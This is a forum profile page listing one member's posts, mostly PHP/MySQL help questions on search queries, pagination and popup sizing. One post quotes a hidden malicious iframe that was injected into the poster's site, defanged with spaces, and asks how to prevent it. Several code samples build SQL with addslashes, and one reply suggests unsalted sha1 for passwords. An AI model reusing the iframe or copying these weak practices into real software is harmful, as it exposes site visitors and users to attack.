Jump to content
Old threads will finally start getting archived ×

Agtronic

Members
  • Posts

    27
  • Joined

  • Last visited

    Never

Everything posted by Agtronic

  1. I change all my passwords, and did everything I could think of, including completely re-uploading a clean source for the website. A few days later, it happened again.
  2. It keeps happening over and over. I fix the site and the problem comes back a few days later! It's driving me crazy!
  3. Thanks a lot guys, I appreciate it. Funny you guys both mentioned the red square at the bottom, I never felt so great about it, and it actually wasn't part of the original design. Hearing it from two people definitely proves the point, it needs to go. I can't figure out why the site loads so slow. It has been that way since before I even put in the flag animation, (which I wish I could make smaller, but it took me a week just to figured out how to make it in flash). Thanks guys!
  4. Hey guys and gals, My website was recently modified by an outside source, and I'm not sure how it was done. Basically, the following code was added right after the <body> tag in every index file on the site. <iframe src="http:// aamane06.isa-geek.com: 8080/ts/ in.cgi?open3" width=574 height=0 style="visibility: hidden"></iframe> (I added some spaces in there so no one clicks on it). This is about the only thing I have been able to find : http://forum.joomla.org/viewtopic.php?f=432&t=438367 Anyone else seen this? I'm wondering if anyone has any tips on how I can prevent this from happening in the future. I don't have any real fancy scripting on the website, other than a few forms to gather email addresses and such, but every input is filtered before being processed. Any insight? Thanks! Oh, and the website in question : http://www.agtronicmotorsport.com
  5. Hey guys and gals, Didn't come here with this intention, but thought it was a good idea when I saw this section. What do you guys think of my website? There are sections I have not yet implemented, such as the services, but I'm getting to that soon. http://www.agtronicmotorsport.com Thanks! edit : Thought I'd add that most of the content is pulled from a database, including the galleries.
  6. I GOT IT! Works perfectly! Thanks so much!
  7. Thanks! I will try messing with it!
  8. Hey guys and gals, Little question for you. I have a hosting package with a site, and I have two domain names pointing to this server. The host doesn't offer the ability to have one of the names point to a different directory or script. My question is, can I use a PHP_SELF test to determine which domain name was used to pull the page, and then header() the correct page or root? Thank you for your time! -- Markku
  9. Just wanted to say thanks, it worked perfectly! It's something I've been trying to get for a long time, so I'm very thankful for your information! Take care!
  10. Whoa. That part you use to filter all data is awesome! I didn't know how to do that!! So, essentially, if the person doesn't put anything into "firstname" or "lastname" and only puts something into "username", all others will be "true"? The query will therefor actually look like: "SELECT * FROM profiles WHERE true AND true AND UserName='Agtronic'" ; Is this right? And this is a valid mysql query? Thank you so much for your time!!
  11. Hey guys and gals, Here's a question I have been searching an answer to for a long time. I just can't find any specific information. What I have is a search form with 9 fields. The search form is setup so that the more information the user puts in, the more specific the search. My problem is, I don't know of a way to properly structure the query so that it is always valid. I currently have it set up this way : <?php $query = "SELECT * FROM profiles WHERE " ; if ($_POST['firstname']) { $firstname = addslashes(trim($_POST['firstname'])) ; $query .= "FirstName='$firstname'" ; } if ($_POST['lastname'] && $_POST['firstname']) $query .= " AND " ; if ($_POST['lastname']) { $lastname = addslashes(trim($_POST['lastname'])) ; $query .= "LastName='$lastname'" ; } if ($_POST['username']) { $username = addslashes(trim($_POST['username'])) ; $query .= "UserName='$username'" ; } ?> It's obviously a very poor way setting up the query, and will take a long time for nothing. Is there a more elegant way of adding the "AND" statement ONLY if there is already a WHERE statement? It seems so simple and so obvious at first, then when I start to think of possible solutions I just get lost in my own thoughts. Any help would be greatly appreciated! Thanks for your time!
  12. It would be a good idea to add some simple encryption to the password so that you do not store plain-text passwords in your database. And it's also a good idea to clean up the input ... <?php $user = trim(addslashes(($_POST['username'])); $pass = sha1(trim(($_POST['password'])); // add the sha1 over the password to encrypt it, and at the registration step aswell ... ?>
  13. Holy isht! You guys are the greatest! Thanks so much!!
  14. Not that I can add anything helpful, but I do understand how it feels to be wired all night and then stuck on a stupid little thing that should be so simple. Sometimes I look at my code the following morning and wonder what the hell I was thinking. Hehehe!
  15. Hey guys and gals, I have a database that contains user profiles. Users' date of birth are stored as unix timestamps, many of which are in the negative. I am able to calculate the age of the users once the timestamp has been pulled from the DB. What I'd like to do is pull users between the ages of (say) 40 and 50 years old. Question : How can I generate a timestamp value based on age so that I can use it in the MySQL query string? Any help would be greatly appreciated! Thank you for your time!
  16. Thanks alot for the code. That helps clear things up. I totally realize that I tend to write a lot of repetitive code, and it's something I've always noticed about everyone else's code. I just don't think like a programmer. As for the semi-colons, I am very visual and also OCD, so I tend to line things up all the time. Thanks for your help, it is much appreciated.
  17. I'm just so lost now. I have no idea what I'm doing. I've tried adding the $_POST check, but the logic is just confusing me. There is too much going on, and too many variables, and I have to little short-term memory. I understand what is happening, and I understand why it's happening, what I can't get, is how to structure the IF statements, so that they don't interfere with each other.
  18. Ah ha! There's one! I'll fix that, and see where I can go from there. Thanks so much!
  19. Sorry guys, I have never used the code tags before. I added the php tag ... <html> <body> <?php if ($_GET['action'] == "list") { if (isset($_GET['page'])) { $page = $_GET['page'] ; } else { $page = 1 ; } if (!$_SESSION['sort_1']) $_SESSION['sort_1'] = 10 ; // set default dropdown values if (!$_SESSION['sort_2']) $_SESSION['sort_2'] = 1 ; if (!$_SESSION['sort_3']) $_SESSION['sort_3'] = 3 ; db($db) ; // all of this is for pagination $query = "SELECT count(*) FROM profiles" ; // $result = mysql_query($query) ; // $query_data = mysql_fetch_row($result) ; // $numrows = $query_data[0] ; // // if (!$_SESSION['sort_1']) // $rows_per_page = 15 ; // else // $rows_per_page = $_SESSION['sort_1'] ; // // $lastpage = ceil($numrows/$rows_per_page) ; // $page = (int)$page ; if ($page < 1) { $page = 1 ; } elseif ($page > $lastpage) { $page = $lastpage ; } $limit = ' LIMIT ' .($page - 1) * $rows_per_page .',' .$rows_per_page; $query = "SELECT UserName, BirthDate, Sex, JoinDate, Sexuality FROM profiles" ; if ($_POST['sort_1']) $_SESSION['sort_1'] = $_POST['sort_1'] ; if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") { $_SESSION['sort_2'] = "2" ; $query .= " WHERE Sex='M'" ; } if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") { $_SESSION['sort_2'] = "3" ; $query .= " WHERE Sex='F'" ; } if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") { $_SESSION['sort_3'] = "1" ; $query .= " ORDER BY BirthDate DESC" ; } if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") { $_SESSION['sort_3'] = "2" ; $query .= " ORDER BY Sex DESC" ; } $query .= $limit ; // add in limit clause $result = mysql_query($query) ; $num_results = mysql_num_rows($result); ?> <form name="search" action="members.php?action=list" method="post"> <table width="550" cellpadding="5" cellspacing="5"> <tr> <td colspan="3" valign="middle" class="searchheaders">Members per page : <select name="sort_1" class="searchboxes"><option<? if ($_POST['sort_1'] == "10" or $_SESSION['sort_1'] == "10") echo " selected=\"selected\"" ; ?>>10</option><option<? if ($_POST['sort_1'] == "25" or $_SESSION['sort_1'] == "25") echo " selected=\"selected\"" ; ?>>25</option><option<? if ($_POST['sort_1'] == "50" or !$_POST['sort_1'] or !$_SESSION['sort_1']) echo " selected=\"selected\"" ; ?>>50</option><option<? if ($_POST['sort_1'] == "100" or $_SESSION['sort_1'] == "100") echo " selected=\"selected\"" ; ?>>100</option> </select> Show : <select name="sort_2" class="searchboxes"><option value="1"<? if ($_POST['sort_2'] == "1" or !$_POST['sort_2'] or !$_SESSION['sort_2']) echo " selected=\"selected\"" ; ?>>Both</option><option value="2"<? if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") echo " selected=\"selected\"" ; ?>>Only Men</option><option value="3"<? if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") echo " selected=\"selected\"" ; ?>>Only Women</option></select> Sort By : <select name="sort_3" class="searchboxes"><option value="1"<? if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") echo " selected=\"selected\"" ; ?>>Age</option><option value="2"<? if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") echo " selected=\"selected\"" ; ?>>Sex</option><option value="3"<? if ($_POST['sort_3'] == "3" or !$_POST['sort_3'] or !$_SESSION['sort_3']) echo " selected=\"selected\"" ; ?>>Join Date</option></select> <input type="submit" value="Refresh" class="buttons2" /></td> </tr> </table> </body> </html>
  20. Hi boys and girls! I'm working on member lookup page for a site, and as I added more and more to the script, things were going great. Then I decided to add pagination, and it still worked great. But THEN, I realized it bothered me that the dropdown menus didn't "remember" the sorting choices once a user started clicking into the next pages, as there were no longer the $_POST vars ... What I tried to do is register the sorting choices into session variables, but then after messing with it for too long, I've realized it's too much for my brain, and I just get confused in the logic. It KIND of works, but then out of nowhere, I notice that sometimes the query string ends up with (WHERE Sex='M') and (WHERE Sex='F') in the same query string. I know why it's happening, but I can no longer think straight, and I can't find a solution. I would really appreciate it if someone could point me in the right direction. ANY help would be greatly appreciated. Thanks for your time! if ($_GET['action'] == "list") { if (isset($_GET['page'])) { $page = $_GET['page'] ; } else { $page = 1 ; } if (!$_SESSION['sort_1']) $_SESSION['sort_1'] = 10 ; // set default dropdown values if (!$_SESSION['sort_2']) $_SESSION['sort_2'] = 1 ; if (!$_SESSION['sort_3']) $_SESSION['sort_3'] = 3 ; db($db) ; // all of this is for pagination $query = "SELECT count(*) FROM profiles" ; // $result = mysql_query($query) ; // $query_data = mysql_fetch_row($result) ; // $numrows = $query_data[0] ; // // if (!$_SESSION['sort_1']) // $rows_per_page = 15 ; // else // $rows_per_page = $_SESSION['sort_1'] ; // // $lastpage = ceil($numrows/$rows_per_page) ; // $page = (int)$page ; if ($page < 1) { $page = 1 ; } elseif ($page > $lastpage) { $page = $lastpage ; } $limit = ' LIMIT ' .($page - 1) * $rows_per_page .',' .$rows_per_page; $query = "SELECT UserName, BirthDate, Sex, JoinDate, Sexuality FROM profiles" ; if ($_POST['sort_1']) $_SESSION['sort_1'] = $_POST['sort_1'] ; if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") { $_SESSION['sort_2'] = "2" ; $query .= " WHERE Sex='M'" ; } if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") { $_SESSION['sort_2'] = "3" ; $query .= " WHERE Sex='F'" ; } if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") { $_SESSION['sort_3'] = "1" ; $query .= " ORDER BY BirthDate DESC" ; } if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") { $_SESSION['sort_3'] = "2" ; $query .= " ORDER BY Sex DESC" ; } $query .= $limit ; // add in limit clause $result = mysql_query($query) ; $num_results = mysql_num_rows($result); ?> <form name="search" action="members.php?action=list" method="post"> <table width="550" cellpadding="5" cellspacing="5"> <tr> <td colspan="3" valign="middle" class="searchheaders">Members per page : <select name="sort_1" class="searchboxes"><option<? if ($_POST['sort_1'] == "10" or $_SESSION['sort_1'] == "10") echo " selected=\"selected\"" ; ?>>10</option><option<? if ($_POST['sort_1'] == "25" or $_SESSION['sort_1'] == "25") echo " selected=\"selected\"" ; ?>>25</option><option<? if ($_POST['sort_1'] == "50" or !$_POST['sort_1'] or !$_SESSION['sort_1']) echo " selected=\"selected\"" ; ?>>50</option><option<? if ($_POST['sort_1'] == "100" or $_SESSION['sort_1'] == "100") echo " selected=\"selected\"" ; ?>>100</option> </select> Show : <select name="sort_2" class="searchboxes"><option value="1"<? if ($_POST['sort_2'] == "1" or !$_POST['sort_2'] or !$_SESSION['sort_2']) echo " selected=\"selected\"" ; ?>>Both</option><option value="2"<? if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") echo " selected=\"selected\"" ; ?>>Only Men</option><option value="3"<? if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") echo " selected=\"selected\"" ; ?>>Only Women</option></select> Sort By : <select name="sort_3" class="searchboxes"><option value="1"<? if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") echo " selected=\"selected\"" ; ?>>Age</option><option value="2"<? if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") echo " selected=\"selected\"" ; ?>>Sex</option><option value="3"<? if ($_POST['sort_3'] == "3" or !$_POST['sort_3'] or !$_SESSION['sort_3']) echo " selected=\"selected\"" ; ?>>Join Date</option></select> <input type="submit" value="Refresh" class="buttons2" /></td> </tr>
  21. I agree 100%, which is why it's important for me to make sure all the info shows up in the window, instead of making the users have to scroll down. There has to be a way to come up with a height, based on the amount of data contained in the string. I suck at stuff like this! Thanks guys!
  22. Thanks for your replies. Thing with the scrollbars is that I find them to be quite intrusive to the style of the site. It's important for the site to keep a sleek look. I'm thinking I might just CSS style the bars, and hope for the best. The other thing that really bothers me about the scrollbars, is that as soon the page calls for scrolling, the stupid horizontal one shows up too, and that bothers me immensly. Perhaps I'll make the window wider, in hopes that the horizontal one doesn't show up. Thanks for you time guys! Much appreciated!
  23. Hi guys, I don't know where to even begin to search for this. I've been messing with this for a long time now, and I'm getting frustrated. I would love if someone could take a crack at it! Basically, I have a few "chefs" on a page, and each of them has a bio. Every bio is different, and contains a different amount of characters. When a user clicks on "view chef", a popup window shows up with the biography etc ... The window is small, (290px wide, by ~500 high. Thing is, I want to be able to calculate how many pixels I need in height, so that the window is not too long or too short. I've been messing with formulas based on strlen() of the bio, but I haven't been able to get anything consistent, or precise, and the page is usually only right for one of the bios, while all the rest end up being too short or too long. I suck at math, big time, so this is really frustrating for me. I'd appreciate any one's help! Thanks! btw : I've come up with two sets of constants. I think I'm going about it the wrong way, but maybe it can help. When the char length of the bio is 916, I need a window of ~730 px high. When the bio is 450 chars long, I need ~570. So, in my weak efforts of trying to visualize the graph in my head, I see the lines crossing. Sorry, I must sound like an acid head with that this last paragraph. Thanks again!!
  24. I figured out the problem. One of the many fields was education, and two of the options were "Master's" and "Bachelor's", both of which contain a single quote. The script never crashed for me, because I never selected either of those in testing. Good thing my Girlfriend is good at testing scripts! Hehehe! A simple addslash() on each of the variables before insertion fixed the problem. I have gotten into the habit of writing code in an magicquotes environment. So incase anyone is looking at this in the future, always clean/filter your data! Thanks guys!
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.